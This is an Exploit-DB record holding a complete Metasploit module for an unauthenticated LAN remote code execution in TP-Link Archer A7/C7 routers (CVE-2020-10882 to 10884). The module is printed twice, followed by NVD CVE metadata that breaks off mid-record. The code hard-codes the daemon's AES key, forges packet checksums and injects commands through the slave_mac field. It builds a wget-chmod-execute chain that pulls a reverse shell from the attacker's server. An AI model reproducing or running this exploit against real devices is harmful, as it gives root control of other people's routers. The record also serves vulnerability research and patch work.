ID EDB-ID:48331
Type exploitdb
Reporter Exploit-DB
Modified 2020-04-16T00:00:00
Description
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',
'Description' => %q{
This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on
the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.
The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does
not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command
as root, including downloading and executing a binary from another host.
This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +
Radek Domanski).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],
[ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],
[ 'CVE', '2020-10882'],
[ 'CVE', '2020-10883'],
[ 'CVE', '2020-10884'],
[ 'ZDI', '20-334'],
[ 'ZDI', '20-335'],
[ 'ZDI', '20-336' ]
],
'Privileged' => true,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Payload' => {},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',
'WfsDelay' => 15,
},
'Targets' =>
[
[ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]
],
'DisclosureDate' => "Mar 25 2020",
'DefaultTarget' => 0,
)
)
register_options(
[
Opt::RPORT(20002)
])
register_advanced_options(
[
OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])
])
end
def check
begin
res = send_request_cgi({
'uri' => '/webpages/app.1564127413977.manifest',
'method' => 'GET',
'rport' => 80
})
if res && res.code == 200
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
pass
end
return Exploit::CheckCode::Unknown
end
def calc_checksum(packet)
# reference table used to calculate the packet checksum
# used by tdpd_pkt_calc_checksum (0x4037f0)
# located at offset 0x0416e90 in the binary
reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,
0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,
0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,
0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,
0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,
0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,
0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,
0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 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, 0x2d, 0x02, 0xef, 0x8d]
res = 0xffffffff
# main checksum calculation
packet.each_entry { |c|
index = ((c ^ res) & 0xff) * 4
# .reverse is needed as the target is big endian
ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)
res = ref ^ (res >> 8)
}
checksum = ~res
checksum_s = [(checksum)].pack('I>').force_encoding("ascii")
# convert back to string
packet = packet.pack('C*').force_encoding('ascii')
# and replace the checksum
packet[12] = checksum_s[0]
packet[13] = checksum_s[1]
packet[14] = checksum_s[2]
packet[15] = checksum_s[3]
packet
end
def aes_encrypt(plaintext)
# Function encrypts perfectly 16 bytes aligned payload
if (plaintext.length % 16 != 0)
return
end
cipher = OpenSSL::Cipher.new 'AES-128-CBC'
# in the original C code the key and IV are 256 bits long... but they still use AES-128
iv = "1234567890abcdef"
key = "TPONEMESH_Kf!xn?"
encrypted = ''
cipher.encrypt
cipher.iv = iv
cipher.key = key
# Take each 16 bytes block and encrypt it
plaintext.scan(/.{1,16}/) { |block|
encrypted += cipher.update(block)
}
encrypted
end
def create_injection(c)
# Template for the command injection
# The injection happens at "slave_mac" (read advisory for details)
# The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.
# This will fail if we send a command with single quotes (')
# ... but that's not a problem for this module, since we don't use them for our command.
# It might also fail with double quotes (") since this will break the JSON...
inject = "\';printf \'#{c}\'>>#{@cmd_file}\'"
template = "{\"method\":\"slave_key_offer\",\"data\":{"\
"\"group_id\":\"#{rand_text_numeric(1..3)}\","\
"\"ip\":\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\","\
"\"slave_mac\":\"%{INJECTION}\","\
"\"slave_private_account\":\"#{rand_text_alpha(5..13)}\","\
"\"slave_private_password\":\"#{rand_text_alpha(5..13)}\","\
"\"want_to_join\":false,"\
"\"model\":\"#{rand_text_alpha(5..13)}\","\
"\"product_type\":\"#{rand_text_alpha(5..13)}\","\
"\"operation_mode\":\"A%{PADDING}\"}}"
# This is required to calculate exact template length without replace flags
template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length
# This has to be initialized to cover the situation when no padding is needed
pad = ''
padding = rand_text_alpha(16)
template_len += inject.length
# Calculate pad if padding is needed
if (template_len % 16 != 0)
pad = padding[0..15-(template_len % 16)]
end
# Here the final payload is created
template % {INJECTION:"#{inject}", PADDING:"#{pad}"}
end
def update_len_field(packet, payload_length)
new_packet = packet[0..3]
new_packet += [payload_length].pack("S>")
new_packet += packet[6..-1]
end
def exec_cmd_file(packet)
# This function handles special action of exec
# Returns new complete tpdp packet
inject = "\';sh #{@cmd_file}\'"
payload = create_injection(inject)
ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end
new_packet = packet[0..15]
new_packet += ciphertext
new_packet = update_len_field(new_packet, ciphertext.length)
calc_checksum(new_packet.bytes)
end
# Handle incoming requests from the router
def on_request_uri(cli, request)
print_good("#{peer} - Sending executable to the router")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload_exe)
@payload_sent = true
end
def exploit
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
fail_with(Failure::Unreachable, "#{peer} - Please specify the LAN IP address of this computer in SRVHOST")
end
if datastore['SSL']
fail_with(Failure::Unknown, "SSL is not supported on this target, please disable it")
end
print_status("Attempting to exploit #{target.name}")
tpdp_packet_template =
[0x01].pack('C*') + # packet version, fixed to 1
[0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)
[0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table
[0x00].pack('S>*') + # packet len
[0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function
[0x00].pack('C*') + # dunno what this is
[rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value
[0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder
srv_host = datastore['SRVHOST']
srv_port = datastore['SRVPORT']
@cmd_file = rand_text_alpha_lower(1)
# generate our payload executable
@payload_exe = generate_payload_exe
# Command that will download @payload_exe and execute it
download_cmd = "wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}"
http_service = 'http://' + srv_host + ':' + srv_port.to_s
print_status("Starting up our web service on #{http_service} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@cmd_file}"
}})
print_status("#{peer} - Connecting to the target")
connect_udp
print_status("#{peer} - Sending command file byte by byte")
print_status("#{peer} - Command: #{download_cmd}")
mod = download_cmd.length / 5
download_cmd.each_char.with_index { |c, index|
# Generate payload
payload = create_injection(c)
if not payload
fail_with(Failure::Unknown, "#{peer} - Failed to setup download command!")
end
# Encrypt payload
ciphertext = aes_encrypt(payload)
if not ciphertext
fail_with(Failure::Unknown, "#{peer} - Failed to encrypt packet!")
end
tpdp_packet = tpdp_packet_template.dup
tpdp_packet += ciphertext
tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)
tpdp_packet = calc_checksum(tpdp_packet.bytes)
udp_sock.put(tpdp_packet)
# Sleep to make sure the payload is processed by a target
Rex.sleep(1)
# Print progress
if ((index+1) % mod == 0)
percentage = 20 * ((index+1) / mod)
# very advanced mathemathics in use here to show the progress bar
print_status("#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]")
if percentage == 100
# a bit of cheating to get the last char done right
index = -2
end
#print_status("#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}")
end
}
# Send the exec command. From here we should receive the connection
print_status("#{peer} - Command file sent, attempting to execute...")
tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)
udp_sock.put(tpdp_packet)
timeout = 0
while not @payload_sent
Rex.sleep(1)
timeout += 1
if timeout == datastore['MAX_WAIT'].to_i
fail_with(Failure::Unknown, "#{peer} - Timeout reached! Payload was not downloaded :(")
end
end
disconnect_udp
end
end
{"id": "EDB-ID:48331", "type": "exploitdb", "bulletinFamily": "exploit", "title": "TP-Link Archer A7/C7 - Unauthenticated LAN Remote Code Execution (Metasploit)", "description": "", "published": "2020-04-16T00:00:00", "modified": "2020-04-16T00:00:00", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}, "href": "https://www.exploit-db.com/exploits/48331", "reporter": "Exploit-DB", "references": [], "cvelist": ["CVE-2020-10884", "CVE-2020-10883", "CVE-2020-10882"], "lastseen": "2020-04-16T13:43:58", "viewCount": 219, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-10884", "CVE-2020-10883", "CVE-2020-10882"]}, {"type": "zdt", "idList": ["1337DAY-ID-34250"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:157255"]}, {"type": "zdi", "idList": ["ZDI-20-336", "ZDI-20-335", "ZDI-20-334"]}], "modified": "2020-04-16T13:43:58", "rev": 2}, "score": {"value": 7.4, "vector": "NONE", "modified": "2020-04-16T13:43:58", "rev": 2}, "vulnersScore": 7.4}, "sourceHref": "https://www.exploit-db.com/download/48331", "sourceData": "##\r\n# This module requires Metasploit: https://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'openssl'\r\n\r\nclass MetasploitModule < Msf::Exploit::Remote\r\n Rank = ExcellentRanking\r\n\r\n include Msf::Exploit::EXE\r\n include Msf::Exploit::Remote::Udp\r\n include Msf::Exploit::Remote::HttpServer\r\n include Msf::Exploit::Remote::HttpClient\r\n\r\n def initialize(info = {})\r\n super(\r\n update_info(\r\n info,\r\n 'Name' => 'TP-Link Archer A7/C7 Unauthenticated LAN Remote Code Execution',\r\n 'Description' => %q{\r\n This module exploits a command injection vulnerability in the tdpServer daemon (/usr/bin/tdpServer), running on\r\n the router TP-Link Archer A7/C7 (AC1750), hardware version 5, MIPS Architecture, firmware version 190726.\r\n The vulnerability can only be exploited by an attacker on the LAN side of the router, but the attacker does\r\n not need any authentication to abuse it. After exploitation, an attacker will be able to execute any command\r\n as root, including downloading and executing a binary from another host.\r\n This vulnerability was discovered and exploited at Pwn2Own Tokyo 2019 by the Flashback team (Pedro Ribeiro +\r\n Radek Domanski).\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module\r\n 'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module\r\n ],\r\n 'References' =>\r\n [\r\n [ 'URL', 'https://www.thezdi.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo'],\r\n [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/lao_bomb/lao_bomb.md'],\r\n [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Tokyo2019/lao_bomb.md'],\r\n [ 'CVE', '2020-10882'],\r\n [ 'CVE', '2020-10883'],\r\n [ 'CVE', '2020-10884'],\r\n [ 'ZDI', '20-334'],\r\n [ 'ZDI', '20-335'],\r\n [ 'ZDI', '20-336' ]\r\n ],\r\n 'Privileged' => true,\r\n 'Platform' => 'linux',\r\n 'Arch' => ARCH_MIPSBE,\r\n 'Payload' => {},\r\n 'Stance' => Msf::Exploit::Stance::Aggressive,\r\n 'DefaultOptions' =>\r\n {\r\n 'PAYLOAD' => 'linux/mipsbe/shell_reverse_tcp',\r\n 'WfsDelay' => 15,\r\n },\r\n 'Targets' =>\r\n [\r\n [ 'TP-Link Archer A7/C7 (AC1750) v5 (firmware 190726)',{} ]\r\n ],\r\n 'DisclosureDate' => \"Mar 25 2020\",\r\n 'DefaultTarget' => 0,\r\n )\r\n )\r\n register_options(\r\n [\r\n Opt::RPORT(20002)\r\n ])\r\n\r\n register_advanced_options(\r\n [\r\n OptInt.new('MAX_WAIT', [true, 'Number of seconds to wait for payload download', 15])\r\n ])\r\n end\r\n\r\n def check\r\n begin\r\n res = send_request_cgi({\r\n 'uri' => '/webpages/app.1564127413977.manifest',\r\n 'method' => 'GET',\r\n 'rport' => 80\r\n })\r\n\r\n if res && res.code == 200\r\n return Exploit::CheckCode::Vulnerable\r\n end\r\n rescue ::Rex::ConnectionError\r\n pass\r\n end\r\n return Exploit::CheckCode::Unknown\r\n end\r\n\r\n def calc_checksum(packet)\r\n # reference table used to calculate the packet checksum\r\n # used by tdpd_pkt_calc_checksum (0x4037f0)\r\n # located at offset 0x0416e90 in the binary\r\n reference_tbl = [0x00, 0x00, 0x00, 0x00, 0x77, 0x07, 0x30, 0x96, 0xee,\r\n 0x0e, 0x61, 0x2c, 0x99, 0x09, 0x51, 0xba, 0x07, 0x6d, 0xc4, 0x19, 0x70, 0x6a, 0xf4,\r\n 0x8f, 0xe9, 0x63, 0xa5, 0x35, 0x9e, 0x64, 0x95, 0xa3, 0x0e, 0xdb, 0x88, 0x32, 0x79,\r\n 0xdc, 0xb8, 0xa4, 0xe0, 0xd5, 0xe9, 0x1e, 0x97, 0xd2, 0xd9, 0x88, 0x09, 0xb6, 0x4c,\r\n 0x2b, 0x7e, 0xb1, 0x7c, 0xbd, 0xe7, 0xb8, 0x2d, 0x07, 0x90, 0xbf, 0x1d, 0x91, 0x1d,\r\n 0xb7, 0x10, 0x64, 0x6a, 0xb0, 0x20, 0xf2, 0xf3, 0xb9, 0x71, 0x48, 0x84, 0xbe, 0x41,\r\n 0xde, 0x1a, 0xda, 0xd4, 0x7d, 0x6d, 0xdd, 0xe4, 0xeb, 0xf4, 0xd4, 0xb5, 0x51, 0x83,\r\n 0xd3, 0x85, 0xc7, 0x13, 0x6c, 0x98, 0x56, 0x64, 0x6b, 0xa8, 0xc0, 0xfd, 0x62, 0xf9,\r\n 0x7a, 0x8a, 0x65, 0xc9, 0xec, 0x14, 0x01, 0x5c, 0x4f, 0x63, 0x06, 0x6c, 0xd9, 0xfa,\r\n 0x0f, 0x3d, 0x63, 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0xc4, 0x61, 0x4a, 0xb8, 0x5d, 0x68, 0x1b,\r\n 0x02, 0x2a, 0x6f, 0x2b, 0x94, 0xb4, 0x0b, 0xbe, 0x37, 0xc3, 0x0c, 0x8e, 0xa1, 0x5a,\r\n 0x05, 0xdf, 0x1b, 0x2d, 0x02, 0xef, 0x8d]\r\n\r\n res = 0xffffffff\r\n\r\n # main checksum calculation\r\n packet.each_entry { |c|\r\n index = ((c ^ res) & 0xff) * 4\r\n # .reverse is needed as the target is big endian\r\n ref = (reference_tbl[index..index+3].reverse.pack('C*').unpack('L').first)\r\n res = ref ^ (res >> 8)\r\n }\r\n\r\n checksum = ~res\r\n checksum_s = [(checksum)].pack('I>').force_encoding(\"ascii\")\r\n\r\n # convert back to string\r\n packet = packet.pack('C*').force_encoding('ascii')\r\n\r\n # and replace the checksum\r\n packet[12] = checksum_s[0]\r\n packet[13] = checksum_s[1]\r\n packet[14] = checksum_s[2]\r\n packet[15] = checksum_s[3]\r\n\r\n packet\r\n end\r\n\r\n def aes_encrypt(plaintext)\r\n # Function encrypts perfectly 16 bytes aligned payload\r\n\r\n if (plaintext.length % 16 != 0)\r\n return\r\n end\r\n\r\n cipher = OpenSSL::Cipher.new 'AES-128-CBC'\r\n # in the original C code the key and IV are 256 bits long... but they still use AES-128\r\n iv = \"1234567890abcdef\"\r\n key = \"TPONEMESH_Kf!xn?\"\r\n encrypted = ''\r\n cipher.encrypt\r\n cipher.iv = iv\r\n cipher.key = key\r\n\r\n # Take each 16 bytes block and encrypt it\r\n plaintext.scan(/.{1,16}/) { |block|\r\n encrypted += cipher.update(block)\r\n }\r\n\r\n encrypted\r\n end\r\n\r\n def create_injection(c)\r\n # Template for the command injection\r\n # The injection happens at \"slave_mac\" (read advisory for details)\r\n # The payload will have to be padded to exactly 16 bytes to ensure reliability between different OpenSSL versions.\r\n\r\n # This will fail if we send a command with single quotes (')\r\n # ... but that's not a problem for this module, since we don't use them for our command.\r\n # It might also fail with double quotes (\") since this will break the JSON...\r\n inject = \"\\';printf \\'#{c}\\'>>#{@cmd_file}\\'\"\r\n\r\n template = \"{\\\"method\\\":\\\"slave_key_offer\\\",\\\"data\\\":{\"\\\r\n \"\\\"group_id\\\":\\\"#{rand_text_numeric(1..3)}\\\",\"\\\r\n \"\\\"ip\\\":\\\"#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}.#{rand_text_numeric(1..3)}\\\",\"\\\r\n \"\\\"slave_mac\\\":\\\"%{INJECTION}\\\",\"\\\r\n \"\\\"slave_private_account\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\\r\n \"\\\"slave_private_password\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\\r\n \"\\\"want_to_join\\\":false,\"\\\r\n \"\\\"model\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\\r\n \"\\\"product_type\\\":\\\"#{rand_text_alpha(5..13)}\\\",\"\\\r\n \"\\\"operation_mode\\\":\\\"A%{PADDING}\\\"}}\"\r\n\r\n # This is required to calculate exact template length without replace flags\r\n template_len = template.length - '%{INJECTION}'.length - '%{PADDING}'.length\r\n # This has to be initialized to cover the situation when no padding is needed\r\n pad = ''\r\n padding = rand_text_alpha(16)\r\n\r\n template_len += inject.length\r\n\r\n # Calculate pad if padding is needed\r\n if (template_len % 16 != 0)\r\n pad = padding[0..15-(template_len % 16)]\r\n end\r\n\r\n # Here the final payload is created\r\n template % {INJECTION:\"#{inject}\", PADDING:\"#{pad}\"}\r\n end\r\n\r\n def update_len_field(packet, payload_length)\r\n new_packet = packet[0..3]\r\n new_packet += [payload_length].pack(\"S>\")\r\n new_packet += packet[6..-1]\r\n end\r\n\r\n def exec_cmd_file(packet)\r\n # This function handles special action of exec\r\n # Returns new complete tpdp packet\r\n inject = \"\\';sh #{@cmd_file}\\'\"\r\n payload = create_injection(inject)\r\n\r\n ciphertext = aes_encrypt(payload)\r\n if not ciphertext\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to encrypt packet!\")\r\n end\r\n\r\n new_packet = packet[0..15]\r\n new_packet += ciphertext\r\n new_packet = update_len_field(new_packet, ciphertext.length)\r\n\r\n calc_checksum(new_packet.bytes)\r\n end\r\n\r\n # Handle incoming requests from the router\r\n def on_request_uri(cli, request)\r\n print_good(\"#{peer} - Sending executable to the router\")\r\n print_good(\"#{peer} - Sit back and relax, Shelly will come visit soon!\")\r\n send_response(cli, @payload_exe)\r\n @payload_sent = true\r\n end\r\n\r\n def exploit\r\n if (datastore['SRVHOST'] == \"0.0.0.0\" or datastore['SRVHOST'] == \"::\")\r\n fail_with(Failure::Unreachable, \"#{peer} - Please specify the LAN IP address of this computer in SRVHOST\")\r\n end\r\n\r\n if datastore['SSL']\r\n fail_with(Failure::Unknown, \"SSL is not supported on this target, please disable it\")\r\n end\r\n\r\n print_status(\"Attempting to exploit #{target.name}\")\r\n\r\n tpdp_packet_template =\r\n [0x01].pack('C*') + # packet version, fixed to 1\r\n [0xf0].pack('C*') + # set packet type to 0xf0 (onemesh)\r\n [0x07].pack('S>*') + # onemesh opcode, used by the onemesh_main switch table\r\n [0x00].pack('S>*') + # packet len\r\n [0x01].pack('C*') + # some flag, has to be 1 to enter the vulnerable onemesh function\r\n [0x00].pack('C*') + # dunno what this is\r\n [rand(0xff),rand(0xff),rand(0xff),rand(0xff)].pack('C*') + # serial number, can by any value\r\n [0x5A,0x6B,0x7C,0x8D].pack('C*') # Checksum placeholder\r\n\r\n srv_host = datastore['SRVHOST']\r\n srv_port = datastore['SRVPORT']\r\n @cmd_file = rand_text_alpha_lower(1)\r\n\r\n # generate our payload executable\r\n @payload_exe = generate_payload_exe\r\n\r\n # Command that will download @payload_exe and execute it\r\n download_cmd = \"wget http://#{srv_host}:#{srv_port}/#{@cmd_file};chmod +x #{@cmd_file};./#{@cmd_file}\"\r\n\r\n http_service = 'http://' + srv_host + ':' + srv_port.to_s\r\n print_status(\"Starting up our web service on #{http_service} ...\")\r\n start_service({'Uri' => {\r\n 'Proc' => Proc.new { |cli, req|\r\n on_request_uri(cli, req)\r\n },\r\n 'Path' => \"/#{@cmd_file}\"\r\n }})\r\n\r\n print_status(\"#{peer} - Connecting to the target\")\r\n connect_udp\r\n\r\n print_status(\"#{peer} - Sending command file byte by byte\")\r\n print_status(\"#{peer} - Command: #{download_cmd}\")\r\n mod = download_cmd.length / 5\r\n\r\n download_cmd.each_char.with_index { |c, index|\r\n # Generate payload\r\n payload = create_injection(c)\r\n if not payload\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to setup download command!\")\r\n end\r\n\r\n # Encrypt payload\r\n ciphertext = aes_encrypt(payload)\r\n if not ciphertext\r\n fail_with(Failure::Unknown, \"#{peer} - Failed to encrypt packet!\")\r\n end\r\n\r\n tpdp_packet = tpdp_packet_template.dup\r\n tpdp_packet += ciphertext\r\n tpdp_packet = update_len_field(tpdp_packet, ciphertext.length)\r\n tpdp_packet = calc_checksum(tpdp_packet.bytes)\r\n\r\n udp_sock.put(tpdp_packet)\r\n\r\n # Sleep to make sure the payload is processed by a target\r\n Rex.sleep(1)\r\n\r\n # Print progress\r\n if ((index+1) % mod == 0)\r\n percentage = 20 * ((index+1) / mod)\r\n # very advanced mathemathics in use here to show the progress bar\r\n print_status(\"#{peer} - [0%]=#{' =' * ((percentage*2/10-1)-1)}>#{' -'*(20-(percentage*2/10))}[100%]\")\r\n if percentage == 100\r\n # a bit of cheating to get the last char done right\r\n index = -2\r\n end\r\n #print_status(\"#{peer} - #{download_cmd[0..index+1]}#{'-' * (download_cmd[index+1..-1].length-1)}\")\r\n end\r\n }\r\n\r\n # Send the exec command. From here we should receive the connection\r\n print_status(\"#{peer} - Command file sent, attempting to execute...\")\r\n tpdp_packet = exec_cmd_file(tpdp_packet_template.dup)\r\n udp_sock.put(tpdp_packet)\r\n\r\n timeout = 0\r\n while not @payload_sent\r\n Rex.sleep(1)\r\n timeout += 1\r\n if timeout == datastore['MAX_WAIT'].to_i\r\n fail_with(Failure::Unknown, \"#{peer} - Timeout reached! Payload was not downloaded :(\")\r\n end\r\n end\r\n\r\n disconnect_udp\r\n end\r\nend", "osvdbidlist": []}
{"cve": [{"lastseen": "2020-10-03T12:55:47", "description": "This vulnerability allows network-adjacent attackers execute arbitrary code on affected installations of TP-Link Archer A7 Firmware Ver: 190726 AC1750 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. This issue results from the use of hard-coded encryption key. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-9652.", "edition": 6, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-25T21:15:00", "title": "CVE-2020-10884", "type": "cve", "cwe": ["CWE-798"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:A/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10884"], "modified": "2020-04-15T21:15:00", "cpe": ["cpe:/o:tp-link:ac1750_firmware:190726"], "id": "CVE-2020-10884", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-10884", "cvss": {"score": 5.8, "vector": "AV:A/AC:L/Au:N/C:P/I:P/A:P"}, "cpe23": ["cpe:2.3:o:tp-link:ac1750_firmware:190726:*:*:*:*:*:*:*"]}, {"lastseen": "2020-10-03T12:55:47", "description": "This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of TP-Link Archer A7 Firmware Ver: 190726 AC1750 routers. Authentication is not required to exploit this vulnerability. The specific flaw exists within the tdpServer service, which listens on UDP port 20002 by default. When parsing the slave_mac parameter, the process does not properly validate a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the root user. Was ZDI-CAN-9650.", "edition": 6, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "ADJACENT_NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-25T21:15:00", "title": "CVE-2020-10882", "type": "cve", "cwe": ["CWE-78"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.5, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.3, "vectorString": "AV:A/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "ADJACENT_NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-10882"], "modified": "2020-04-15T21:15:00", "cpe": ["cpe:/o:tp-link:ac1750_firmware:190726"], "id": "CVE-2020-10882", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-10882", "cvss": {"score": 8.3, "vector": "AV:A/AC:L/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:o:tp-link:ac1750_firmware:190726:*:*:*:*:*:*:*"]}, {"lastseen": "2020-10-03T12:55:47", "description": "This vulnerability allows local attackers to escalate privileges on affected installations of TP-Link Archer A7 Firmware Ver: 190726 AC1750 routers. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the file system. The issue lies in the lack of proper permissions set on the file system. An attacker can leverage this vulnerability to escalate privileges. Was ZDI-CAN-9651.", "edition": 6, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-25T21:15:00", "title": "CVE-2020-10883", "type": "cve", "cwe": ["CWE-732"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": 